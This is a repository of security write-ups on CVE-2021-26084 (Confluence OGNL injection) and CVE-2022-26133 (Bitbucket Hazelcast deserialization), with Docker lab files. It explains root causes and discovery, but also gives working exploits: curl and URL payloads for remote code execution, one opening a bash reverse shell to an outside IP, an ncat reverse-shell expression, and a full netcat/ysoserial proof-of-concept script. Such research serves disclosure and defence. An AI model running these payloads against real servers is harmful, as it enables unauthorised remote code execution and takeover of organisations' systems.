├── CVE-2021-26084 └── CVE-2021-26084.md └── CVE-2022-26133 ├── README.md ├── images ├── BitBucketDeserializationCallChain.png ├── bitbucket-hazelcast-rce-poc.png ├── runMutualChallengeResponse.png ├── verifyGroupName.png ├── wireshark-bitbucket-payload.png ├── wireshark-bitbucket-response-cluster-name.png └── wireshark-query-bitbucket-cluster-name.png ├── scripts ├── .env ├── Dockerfile ├── docker-compose.yml ├── haproxy │ └── haproxy.cfg └── setup-bitbucket-docker.sh └── wireshark └── bitbucket-hazelcast-rce-wireshark.pcapng /CVE-2021-26084/CVE-2021-26084.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-26084 2 | 3 | # Introduction 4 | This write-up provides an overview of CVE-2021-26084 - Confluence Server Webwork OGNL injection [[1]](https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html) that would allow an authenticated user to execute arbitrary code on a Confluence Server or Data Center instance. 5 | 6 | # TL;DR 7 | Confluence Server / Data Center makes use of Webwork 2 MVC framework to process web requests and the view layer primarily consists of Velocity templates. A double evaluation is performed when velocity templates use Webwork tags with a value attribute that contains $ When a Webwork tag with a Value attribute that has a $ is encountered an initial evaluation happens in the parsing of Velocity template; this evaluated value is then passed to the Webwork tag which further evaluates the value as an OGNL expression. If the action class exposes a setter function for the parameter used in the value attribute then this parameter can be set from the URL by using URL params.. So by crafting a URL with an OGNL payload an attacker can perform remote code execution on the affected versions of the Confluence Server / Data Center. 8 | 9 | # Payloads 10 | 11 | ```python 12 | # UnAuthenticated RCE - based on the awesome write-up at httpvoid; courtesy of Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8] 13 | curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action' 14 | 15 | # UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options. 16 | http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00 17 | 5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027 18 | 19 | # Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server 20 | http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28 21 | %29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027 22 | 23 | # Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission 24 | http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022% 25 | 40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027 26 | 27 | # The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly 28 | http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new 29 | java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5; 30 | done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus> 31 | ``` 32 | # Expression Language Injection 33 | Expression Language injection vulnerabilities arise when an application incorporates user-controllable data into a string that is dynamically evaluated by a code interpreter. If the user data is not strictly validated, an attacker can use crafted input to modify the code to be executed, and inject arbitrary code that will be executed by the server [[2]](https://portswigger.net/kb/issues/00100f20_expression-language-injection). Object-Graph Navigation Language (OGNL) [[3]](https://commons.apache.org/proper/commons-ognl/language-guide.html) is an expression language for handling Java objects. When an OGNL injection vulnerability is present, it is possible for the attacker to inject OGNL expressions that can then be used to execute arbitrary Java code. In addition to property getting/setting, OGNL supports many more features, of which the below seems to be interesting from an exploit development view-point 34 | 35 | - Static method calling: @java.lang.Runtime@getRuntime() 36 | 37 | - Constructor calling: new java.lang.String[]{'/bin/bash','-c', ‘xcalc’} 38 | 39 | - Ability to work with context variables: #attr["webwork.valueStack"] 40 | 41 | - Method calling: #attr["webwork.valueStack"].findValue() 42 | 43 | Combining the above constructs a valid OGNL expression may be formed. A typical OGNL expression is shown below: 44 | 45 | ```sh 46 | @java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash') 47 | ``` 48 | 49 | # Webwork 2 50 | 51 | WebWork 2 is a pull based MVC framework built on top of a command pattern framework API called XWork and is the predecessor of the popular Apache Struts2. Confluence uses OpenSymphony's WebWork 2 to process web requests submitted by users. Webwork supports a powerful Expression Language based on OGNL for navigating its object stack(a.k.a ValueStack). It also supports multiple view technologies including JSP, FreeMarker, Velocity and also provides a rich tag library. “WebWork: Strutting the OpenSymphony way” by Mike Cannon-Brookes [4] provides an excellent overview of the Webwork 2 framework. Among other things that is of particular interest to this vulnerability is Webwork’s support for: 52 | 53 | - Automatically setting properties of action based on request parameters (URL params) 54 | - View integration (Velocity) 55 | - User interface / form components (Webwork tags) that process some of it’s attributes using OGNL 56 | 57 | # Discovery 58 | The detection of the vulnerability primarily involved a white box testing approach where source code instrumentation was used to analyze the OGNL evaluation. Following the excellent research of GHSL researcher Man Yue Mo on OGNL injection in Apache Struts [[5]](https://securitylab.github.com/research/apache-struts-double-evaluation/) [[6]](https://securitylab.github.com/research/ognl-injection-apache-struts/) [[7]](https://securitylab.github.com/research/apache-struts-CVE-2018-11776/) it has been noticed that the [evaluateParams](https://lgtm.com/projects/g/apache/struts/snapshot/218366b4cd0d8d165f505e8b9e6f3e6bf19d9aae/files/core/src/main/java/org/apache/struts2/components/UIBean.java#L637) method of the UIBean class served as an interesting candidate. The code base of the webwork library in the Confluence Data Center(atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) was extracted using JD GUI and was analysed for methods similar to evaluateParams. The closest match was protected void evaluateParams(OgnlValueStack stack) method in com.opensymphony.webwork.views.jsp.ui.AbstractUITag. Source code analysis further revealed that there exists a com.opensymphony.webwork.util.SafeExpressionUtil class that blocked the majority of the OGNL payloads. 59 | 60 | As the author hardly had any expertise to run the Confluence Server through a debugger, primitive print statements were used to dump the results of the OGNL evaluation in the above classes. The steps involved in instrumenting the source code was: 61 | 62 | 1. Decompile the webwork-2.1.5-atlassian-3.jar using JD GUI. 63 | 2. Copy the AbstractUITag.java and the SafeExpressionUtil.java files into a temporary folder on the Confluence Server 64 | 3. Update the methods of interest with print statements that dumped the results to the stdout. 65 | 66 | ```javascript 67 | String DL = "\n" + (new Exception().getStackTrace()[0]).getClassName() + "::" + (new Exception().getStackTrace()[0]).getMethodName() + ":"; 68 | Object o = findValue(this.valueAttr, valueClazz); 69 | addParameter("nameValue", o); 70 | System.out.println("\033[1;33m" + DL + (new Exception().getStackTrace()[0]).getLineNumber() + "\t findValue( " + this.valueAttr + " ) = " + o + "\033[0m"); 71 | ``` 72 | 4. Compile the modified java files and inject them back to the webwork-2.1.5-atlassian-3.jar 73 | ```bash 74 | # use javap on the classes inside webwork jar to identify the source and target versions 75 | javac -target 1.6 -source 1.6 -classpath "/opt/atlassian-confluence-7.12.4/lib/*:/opt/atlassian-confluence-7.12.4/confluence/WEB-INF/lib/*" -d . *.java 76 | jar vuf webwork-2.1.5-atlassian-3.jar com 77 | ``` 78 | 5. Replace the webwork-2.1.5-atlassian-3.jar in the Confluence installation directory with the instrumented version 79 | 6. Run the Confluence server in the foreground and observe the console output. 80 | 81 | With the instrumented webwork library in place it was observed that the value attribute of the webwork tags is a potential injection point as the rendering ended up in the evaluateParams method and the value attribute was evaluated as OGNL . It was also observed that if the velocity template had a webwork tag whose value attribute is set using the $ construct then this value was evaluated during the rendering of the velocity template and this evaluated value was passed to the Webwork tag. Typical example of such a tag is: 82 | 83 | ```javascript 84 | #tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'") 85 | 86 | #tag( "Hidden" "name='token'" "value='$!action.token'" ) 87 | 88 | #tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'") 89 | ``` 90 | Though the value attribute was processing the input as OGNL there were single quotes around the $ construct causing the input to be treated as string. To circumvent this restriction Unicode escape sequence was used as passing in the single quotes directly resulted in it being converted to html entities prior to reaching the OGNL execution point. The Unicode escape sequence is parsed inside the OgnlUtil.compile and an ognl.ASTAdd is formed causing the injected Ognl payload to be evaluated . 91 | 92 | ```javascript 93 | parsedExpression = OgnlUtil.compile( '\u0027+(7*7)+\u0027' ) = "" + (7 * 7) + "" 94 | 95 | com.opensymphony.webwork.views.jsp.ui.AbstractUITag::evaluateParams --> findValue( '\u0027+(7*7)+\u0027' ) = 49 96 | ``` 97 | ![confluence-ognl-injection-identification](https://user-images.githubusercontent.com/91962262/136057280-b23d58ba-e988-4011-a584-d8d486da2a5f.png) 98 | 99 | 100 | The Confluence codebase was searched for velocity files matching a regex pattern that had a webwork tag and $ in it’s attribute. Once the velocity file was identified the corresponding action class that used the velocity template was identified by browsing through the xwork configuration file viz xwork.xml ( inside confluence-x.y.z.jar) . The process roughly looks like: 101 | 102 | # Exploit 103 | The content-editor.vm (atlassian-confluence-7.12.4/confluence/template/custom) had the below Webwork tag 104 | 105 | ```bash 106 | #if ($templateApplied) 107 | #tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'") 108 | #end 109 | ``` 110 | The value attribute, templateId can be set by passing a URL param sourceTemplateId to the docreatepagefromtemplate.action endpoint. When a URL param with the name sourceTemplateId is called, the setter function of the action class (com.atlassian.confluence.pages.actions.CreatePageFromTemplateAction ) viz setSourceTemplateId is invoked by the framework and this sets the value of the sourceTemplateId member variable. 111 | 112 | When the velocity template is parsed the ${templateId} is initially evaluated by calling the getTemplateId function of the action class that returns the value of the sourceTemplateId member variable. 113 | 114 | ![confluence-ognl-injection-source-analysis](https://user-images.githubusercontent.com/91962262/136057610-faca04c8-5f04-4a15-9c83-8f52c45b5e82.png) 115 | 116 | 117 | This evaluated value is then passed to the Webwork tag's value attribute that then evaluates the value attribute as OGNL expression. Finally by using Unicode escape sequence and making use of the #attr["webwork.valueStack"] variable it is possible to bypass the SafeExpressionUtil sandbox used by the WebWork tags, and execute arbitrary java code. 118 | 119 | ![confluence-ognl-injection-payload-evaluation](https://user-images.githubusercontent.com/91962262/136057684-fae2a127-7f60-48bb-a7b7-243411647c6c.png) 120 | 121 | #### Disclaimer 122 | 123 | This write-up (including all the code fragments) has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. The author is not responsible or liable for misuse. 124 | 125 | # References 126 | 127 | 1. [Confluence Security Advisory - 2021-08-25](https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html) 128 | 129 | 2. [Expression Language injection](https://portswigger.net/kb/issues/00100f20_expression-language-injection) 130 | 131 | 3. [Apache Commons OGNL - Language Guide](https://commons.apache.org/proper/commons-ognl/language-guide.html) 132 | 133 | 4. [Strutting the OpenSymphony way](https://www.atlassian.com/blog/rebelutionary/misc/TSS-WebWork2.ppt) 134 | 135 | 5. [Apache Struts double evaluation RCE lottery. 4 Oct 2018](https://securitylab.github.com/research/apache-struts-double-evaluation/) 136 | 137 | 6. [OGNL injection in Apache Struts: Discovering exploits with taint tracking. 24 Sep 2018](https://securitylab.github.com/research/ognl-injection-apache-struts/) 138 | 139 | 7. [CVE-2018-11776: How to find 5 RCEs in Apache Struts with CodeQL](https://securitylab.github.com/research/apache-struts-CVE-2018-11776/) 140 | 141 | 8. [CVE-2021-26084 Remote Code Execution on Confluence Servers](https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md) 142 | 143 | -------------------------------------------------------------------------------- /CVE-2022-26133/README.md: -------------------------------------------------------------------------------- 1 | ## Introduction 2 | 3 | 4 | This write-up provides an overview of CVE-2022-26133 - Bitbucket Data Center - Java Deserialization Vulnerability [[1]](https://confluence.atlassian.com/security/multiple-products-security-advisory-hazelcast-vulnerable-to-remote-code-execution-cve-2016-10750-1116292387.html). A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted packet to the Hazelcast port and achieve Remote Code Execution (RCE) on the Bitbucket Data Center. This vulnerability is similar to CVE-2016-10750 [[2]](https://github.com/hazelcast/hazelcast/issues/8024) but is specific to Bitbucket. 5 | 6 | 7 | 8 | ## TL;DR 9 | 10 | Bitbucket Data Center makes use of Hazelcast [[3]](https://github.com/hazelcast/hazelcast) for in-memory data caching; by default port 5701 is used for Hazelcast. If an attacker could reach the Hazelcast port of a Bitbucket instance with a crafted network packet Bitbucket responds with the Cluster name of the Data Center Instance. If this cluster name is appended with a serialized payload [[4]](https://github.com/frohoff/ysoserial) and sent again to the Hazelcast port, the payload is deserialized at the cluster node leading to remote code execution on the node. A typical packet structure is as follows: 11 | 12 | 13 | ### Packet Structure of the Payload 14 | 15 | ```shell 16 | 17 | -------------------------------------------------------------------------------------------- 18 | | | | | | 19 | | size of group name | group name of | 0xFF 0xFF 0xFF 0x9C | serialized paylod | 20 | | (4 bytes) | Bitbucket cluster | | (e.g CommonsBeanutils1) | 21 | -------------------------------------------------------------------------------------------- 22 | ``` 23 | 24 | ### POC 25 | 26 | ```shell 27 | 28 | #!/usr/bin/env bash 29 | 30 | BITBUCKET_IP=${1:-'127.0.0.1'} 31 | BITBUCKET_HAZELCAST_PORT=${2:-'5701'} 32 | YSOSERIAL_JAR=${3:-'/home/snowyowl/workspace/tools/ysoserial/ysoserial-master-SNAPSHOT.jar'} 33 | 34 | # send a dummy probe packet to retrieve the cluster name 35 | # e.g the below sets the length as 2 bytes and sends a dummy 2 bytes 36 | printf "\x00\x00\x00\x02\x73\x61" | nc -nv "$BITBUCKET_IP" "$BITBUCKET_HAZELCAST_PORT" > cluster-name.bin 37 | 38 | # generate the serialized payload using ysoserial with the CommonsBeanutils1 gadget. 39 | java -jar "$YSOSERIAL_JAR" CommonsBeanutils1 xcalc > CommonsBeanutils1.bin 40 | 41 | # append header packets to the serialized payload, this is required for the hazelcast to correctly deserialize the payload 42 | # create the final payload by joining the cluster name and the serialized payload with the header. 43 | printf "\xFF\xFF\xFF\x9C" | cat cluster-name.bin - CommonsBeanutils1.bin > payload.bin 44 | 45 | # send the payload to the bitbucket cluster 46 | nc -nv "$BITBUCKET_IP" "$BITBUCKET_HAZELCAST_PORT" < payload.bin 47 | 48 | ``` 49 | 50 | 51 | ### The Vulnerability 52 | 53 | The detection of the vulnerability primarily involved a white box testing approach. As detailed in the Hazelcast issue report [[2]](https://github.com/hazelcast/hazelcast/issues/8024), CVE-2016-10750 primarily involved modifying the Hazelcast cluster join procedure to include a serialized payload (e.g CommonsBeanutils1). However this approach was failing on Bitbucket Data Center. 54 | 55 | To further analyze the issue the Bitbucket jar files was decompield and source code was analyzed in conjunction to the Hazelcast reference manual [[5]](https://docs.hazelcast.com/imdg/3.12/). A rough sequence diagram was created along the way to better understand how the JoinRequest was processed inside the Bitbucket node. 56 | 57 | It has been observed that hazelcast join sequence is intercepted by a com.atlassian.stash.internal.cluster.ClusterJoinSocketInterceptor class that implements com.hazelcast.nio.MemberSocketInterceptor interface [[5]](https://docs.hazelcast.com/imdg/3.12/security/socket-interceptor). The ClusterJoinSocketInterceptor relied on com.atlassian.stash.internal.cluster.SharedSecretClusterAuthenticator class to perform a basic authentication using cluster name and password that was set during the Bitbucket Data Center Installation. To restate it differently a custom network authentication protocol has been implemented inside SharedSecretClusterAuthenticator on top of the Hazelcast JoinRequest. So initally it seemed that the exploit was closed on the Bitbucket end. 58 | 59 | 60 | Inspired by the excellent research of GHSL researcher Man Yue Mo [[6]](https://securitylab.github.com/research/in-memory-data-grid-vulnerabilities/) a second round of manual code review was performed and a readObject method was noticed inside the SharedSecretClusterAuthenticator. The runMutualChallengeResponse method inside the SharedSecretClusterAuthenticator was invoking a receiveObject that was in-turn using a readObject method on the raw input stream from the Hazelcast port. It would have been a lot faster, if CodeQL could have been used for this analysis however only the decompileld source was available and using CodeQL without building the source code seemed quite challenging. 61 | 62 | 63 | ![runMutualChallengeResponse](images/runMutualChallengeResponse.png) 64 | 65 | To reach this execution path the GroupName (cluster name) of the Bitbucket node was required. Luckily this was directly accessible by sending a probe to the HazelCast port. 66 | 67 | 68 | ![verifyGroupName](images/verifyGroupName.png) 69 | 70 | The probe is a nothing but a basic TCP packet with the data bytes set as per the below structure. 71 | 72 | ```shell 73 | ------------------------------------------------ 74 | | | | 75 | | Size of following field | random bytes | 76 | | (4 bytes ) | (size bytes) | 77 | ------------------------------------------------ 78 | 79 | ``` 80 | 81 | Bitbucket server responds with the groupname of the cluster prepended with the length (in bytes) of the group name. This response packet can then be used directly in crafting the final payload. 82 | 83 | ```shell 84 | 85 | # send a dummy probe packet to retrieve the cluster name 86 | # e.g the below sets the length as 2 bytes and sends 2 bytes (don't care - dummy bytes) 87 | printf "\x00\x00\x00\x02\x73\x61" | nc -nv "$BITBUCKET_IP" "$BITBUCKET_HAZELCAST_PORT" 88 | 89 | ``` 90 | 91 | 92 | 93 | 94 | 95 | 96 | ### Exploit 97 | 98 | 1. Use the below commands to create Bitbucket Data Center cluster on docker 99 | 100 | ```shell 101 | 102 | git clone https://github.com/snowyyowl/writeups.git 103 | 104 | cd CVE-2022-26133/scripts 105 | 106 | # setup the first node 107 | ./setup-bitbucket-docker.sh --bitbucket-docker-base-port 3000 --bitbucket-version 7.20.0 -p bitbucket-v7-20 --bitbucket-setup-base-node 108 | 109 | # complete the setup in the Web GUI and then stop the bitbucket instance (Ctrl + C ) 110 | 111 | # allow xauth from docker so that the calc can pop-up 112 | xhost + 113 | 114 | # setup the subsequent node and the loadbalancer 115 | ./setup-bitbucket-docker.sh --bitbucket-docker-base-port 3000 --bitbucket-version 7.20.0 -p bitbucket-v7-20 116 | 117 | ``` 118 | 119 | 2. Run the POC script 120 | 121 | ```shell 122 | 123 | ./bitbucket-hazelcast-rce-poc.sh 124 | 125 | # update the port to Hazelcast port on the second node (e.g 3060) to get RCE on the second node 126 | 127 | ``` 128 | 129 | ![hazelcast-rce](images/bitbucket-hazelcast-rce-poc.png) 130 | 131 | 132 | #### Probe Packet to Query Cluster Name 133 | 134 | ![wireshark-query-bitbucket-cluster-name](images/wireshark-query-bitbucket-cluster-name.png) 135 | 136 | 137 | #### Response Packet from Bitbucket 138 | 139 | ![wireshark-bitbucket-response-cluster-name](images/wireshark-bitbucket-response-cluster-name.png) 140 | 141 | 142 | #### Payload to trigger RCE 143 | 144 | ![wireshark-bitbucket-payload](images/wireshark-bitbucket-payload.png) 145 | 146 | 147 | The full wireshark capture may be downloaded from [here](wireshark/bitbucket-hazelcast-rce-wireshark.pcapng) 148 | 149 | ### Call Chain 150 | 151 | ![call-chain](images/BitBucketDeserializationCallChain.png) 152 | 153 | #### Disclaimer 154 | 155 | This write-up (including all the code fragments) has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. The author is not responsible or liable for misuse. 156 | 157 | ## References 158 | 1. [Multiple Products Security Advisory - Hazelcast Vulnerable To Remote Code Execution](https://confluence.atlassian.com/security/multiple-products-security-advisory-hazelcast-vulnerable-to-remote-code-execution-cve-2016-10750-1116292387.html) 159 | 1. [Hazelcast is vulnerable to untrusted deserialization remote code execution #8024](https://github.com/hazelcast/hazelcast/issues/8024) 160 | 1. [Hazelcast](https://github.com/hazelcast/hazelcast) 161 | 1. [ysoserial, Frohoff et al.](https://github.com/frohoff/ysoserial) 162 | 1. [Hazelcast Reference Manual](https://docs.hazelcast.com/imdg/3.12/) 163 | 1. [In-Memory Data Grid Applications: Finding Common Java Deserialization Vulnerabilities with CodeQL, Man Yue Mo](https://securitylab.github.com/research/in-memory-data-grid-vulnerabilities/) 164 | 165 | -------------------------------------------------------------------------------- /CVE-2022-26133/images/BitBucketDeserializationCallChain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snowyyowl/writeups/efe6063eba7454aebe044b51339123376d8be3dc/CVE-2022-26133/images/BitBucketDeserializationCallChain.png -------------------------------------------------------------------------------- /CVE-2022-26133/images/bitbucket-hazelcast-rce-poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snowyyowl/writeups/efe6063eba7454aebe044b51339123376d8be3dc/CVE-2022-26133/images/bitbucket-hazelcast-rce-poc.png -------------------------------------------------------------------------------- /CVE-2022-26133/images/runMutualChallengeResponse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snowyyowl/writeups/efe6063eba7454aebe044b51339123376d8be3dc/CVE-2022-26133/images/runMutualChallengeResponse.png -------------------------------------------------------------------------------- /CVE-2022-26133/images/verifyGroupName.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snowyyowl/writeups/efe6063eba7454aebe044b51339123376d8be3dc/CVE-2022-26133/images/verifyGroupName.png -------------------------------------------------------------------------------- /CVE-2022-26133/images/wireshark-bitbucket-payload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snowyyowl/writeups/efe6063eba7454aebe044b51339123376d8be3dc/CVE-2022-26133/images/wireshark-bitbucket-payload.png -------------------------------------------------------------------------------- /CVE-2022-26133/images/wireshark-bitbucket-response-cluster-name.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snowyyowl/writeups/efe6063eba7454aebe044b51339123376d8be3dc/CVE-2022-26133/images/wireshark-bitbucket-response-cluster-name.png -------------------------------------------------------------------------------- /CVE-2022-26133/images/wireshark-query-bitbucket-cluster-name.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snowyyowl/writeups/efe6063eba7454aebe044b51339123376d8be3dc/CVE-2022-26133/images/wireshark-query-bitbucket-cluster-name.png -------------------------------------------------------------------------------- /CVE-2022-26133/scripts/.env: -------------------------------------------------------------------------------- 1 | BITBUCKET_VERSION=${BITBUCKET_DOCKER_VERSION} 2 | 3 | XAUTH=${BITBUCKET_DOCKER_XAUTH_FILE} 4 | 5 | # Shared directory configuration 6 | BITBUCKET_HOST_SHARED_DIR=${BITBUCKET_DOCKER_HOST_SHARED_DIR} 7 | BITBUCKET_SHARED_DIR=/var/atlassian/application-data/bitbucket/shared 8 | 9 | # Network Configuration 10 | 11 | BITBUCKET_NODE1_HOSTNAME=${BITBUCKET_DOCKER_NODE1_HOSTNAME} 12 | BITBUCKET_NODE2_HOSTNAME=${BITBUCKET_DOCKER_NODE2_HOSTNAME} 13 | 14 | BITBUCKET_HAZELCAST_GROUP_NAME=${BITBUCKET_DOCKER_HAZELCAST_GROUP_NAME} 15 | 16 | BITBUCKET_NODE1_HTTP_PORT=${BITBUCKET_DOCKER_NODE1_HTTP_PORT} 17 | BITBUCKET_NODE2_HTTP_PORT=${BITBUCKET_DOCKER_NODE2_HTTP_PORT} 18 | 19 | BITBUCKET_NODE1_DEBUG_PORT=${BITBUCKET_DOCKER_NODE1_DEBUG_PORT} 20 | BITBUCKET_NODE2_DEBUG_PORT=${BITBUCKET_DOCKER_NODE2_DEBUG_PORT} 21 | 22 | BITBUCKET_NODE1_HAZELCAST_PORT=${BITBUCKET_DOCKER_NODE1_HAZELCAST_PORT} 23 | BITBUCKET_NODE2_HAZELCAST_PORT=${BITBUCKET_DOCKER_NODE2_HAZELCAST_PORT} 24 | 25 | BITBUCKET_PROXY_IP_ADDR=${BITBUCKET_DOCKER_PROXY_IP_ADDR} 26 | BITBUCKET_PROXY_PORT=${BITBUCKET_DOCKER_PROXY_PORT} 27 | 28 | # DB Configuration 29 | BITBUCKET_DB_USER=bitbucket 30 | BITBUCKET_DB_PASS=${BITBUCKET_DOCKER_DB_PASS} 31 | 32 | BITBUCKET_HOST_DB_PORT=${BITBUCKET_DOCKER_HOST_DB_PORT} 33 | 34 | # cluster configuration 35 | 36 | # BITBUCKET_NODE1_ID=bitbucket_node_1 37 | # BITBUCKET_NODE2_ID=bitbucket_node_2 38 | 39 | # load-balancer configuration 40 | 41 | BITBUCKET_HAPROXY_CONFIG=${BITBUCKET_DOCKER_HAPROXY_CONFIG} 42 | -------------------------------------------------------------------------------- /CVE-2022-26133/scripts/Dockerfile: -------------------------------------------------------------------------------- 1 | ARG BITBUCKET_VERSION 2 | FROM atlassian/bitbucket:${BITBUCKET_VERSION} 3 | RUN apt-get update -qq && apt-get install -y iproute2 x11-apps 4 | -------------------------------------------------------------------------------- /CVE-2022-26133/scripts/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | bitbucket_node_1: 5 | depends_on: 6 | - postgresql 7 | build: 8 | context: . 9 | args: 10 | BITBUCKET_VERSION: ${BITBUCKET_VERSION} 11 | networks: 12 | - bbnet 13 | hostname: ${BITBUCKET_NODE1_HOSTNAME} 14 | volumes: 15 | - ${BITBUCKET_HOST_SHARED_DIR}:${BITBUCKET_SHARED_DIR} 16 | - ${XAUTH}:${XAUTH} 17 | ports: 18 | - ${BITBUCKET_NODE1_HTTP_PORT}:7990 19 | - ${BITBUCKET_NODE1_HAZELCAST_PORT}:5701 20 | - ${BITBUCKET_NODE1_DEBUG_PORT}:5005 21 | environment: 22 | - 'ELASTICSEARCH_ENABLED=false' 23 | - 'JDBC_URL=jdbc:postgresql://postgresql:5432/bitbucketdb' 24 | - JDBC_USER=${BITBUCKET_DB_USER} 25 | - JDBC_PASSWORD=${BITBUCKET_DB_PASS} 26 | - 'JDBC_DRIVER=org.postgresql.Driver' 27 | - 'JVM_MINIMUM_MEMORY=2048m' 28 | - 'JVM_MAXIMUM_MEMORY=4096m' 29 | - 'JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005' 30 | - HAZELCAST_GROUP_NAME=${BITBUCKET_HAZELCAST_GROUP_NAME} 31 | - 'HAZELCAST_GROUP_PASSWORD=1234' 32 | - 'HAZELCAST_NETWORK_MULTICAST=true' 33 | - XAUTHORITY=${XAUTH} 34 | - DISPLAY 35 | bitbucket_node_2: 36 | depends_on: 37 | - postgresql 38 | build: 39 | context: . 40 | args: 41 | BITBUCKET_VERSION: ${BITBUCKET_VERSION} 42 | networks: 43 | - bbnet 44 | hostname: ${BITBUCKET_NODE2_HOSTNAME} 45 | volumes: 46 | - ${BITBUCKET_HOST_SHARED_DIR}:${BITBUCKET_SHARED_DIR} 47 | - ${XAUTH}:${XAUTH} 48 | ports: 49 | - ${BITBUCKET_NODE2_HTTP_PORT}:7990 50 | - ${BITBUCKET_NODE2_HAZELCAST_PORT}:5701 51 | - ${BITBUCKET_NODE2_DEBUG_PORT}:5005 52 | environment: 53 | - 'ELASTICSEARCH_ENABLED=false' 54 | - 'JDBC_URL=jdbc:postgresql://postgresql:5432/bitbucketdb' 55 | - JDBC_USER=${BITBUCKET_DB_USER} 56 | - JDBC_PASSWORD=${BITBUCKET_DB_PASS} 57 | - 'JDBC_DRIVER=org.postgresql.Driver' 58 | - 'JVM_MINIMUM_MEMORY=2048m' 59 | - 'JVM_MAXIMUM_MEMORY=4096m' 60 | - 'JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005' 61 | - HAZELCAST_GROUP_NAME=${BITBUCKET_HAZELCAST_GROUP_NAME} 62 | - 'HAZELCAST_GROUP_PASSWORD=1234' 63 | - 'HAZELCAST_NETWORK_MULTICAST=true' 64 | - XAUTHORITY=${XAUTH} 65 | - DISPLAY 66 | proxy: 67 | depends_on: 68 | - bitbucket_node_1 69 | - bitbucket_node_2 70 | image: haproxy:2.3 71 | networks: 72 | - bbnet 73 | ports: 74 | - ${BITBUCKET_PROXY_PORT}:${BITBUCKET_PROXY_PORT} 75 | volumes: 76 | - ${BITBUCKET_HAPROXY_CONFIG}:/usr/local/etc/haproxy/haproxy.cfg 77 | 78 | postgresql: 79 | image: postgres:11 80 | networks: 81 | - bbnet 82 | volumes: 83 | - postgresqldata:/var/lib/postgresql/data 84 | ports: 85 | - ${BITBUCKET_HOST_DB_PORT}:5432 86 | environment: 87 | - POSTGRES_USER=${BITBUCKET_DB_USER} 88 | - POSTGRES_PASSWORD=${BITBUCKET_DB_PASS} 89 | - 'POSTGRES_DB=bitbucketdb' 90 | - 'POSTGRES_ENCODING=UNICODE' 91 | - 'POSTGRES_COLLATE=C' 92 | - 'POSTGRES_COLLATE_TYPE=C' 93 | logging: 94 | # limit logs retained on host to 25MB 95 | driver: "json-file" 96 | options: 97 | max-size: "500k" 98 | max-file: "50" 99 | volumes: 100 | postgresqldata: 101 | external: false 102 | 103 | networks: 104 | bbnet: 105 | driver: bridge 106 | -------------------------------------------------------------------------------- 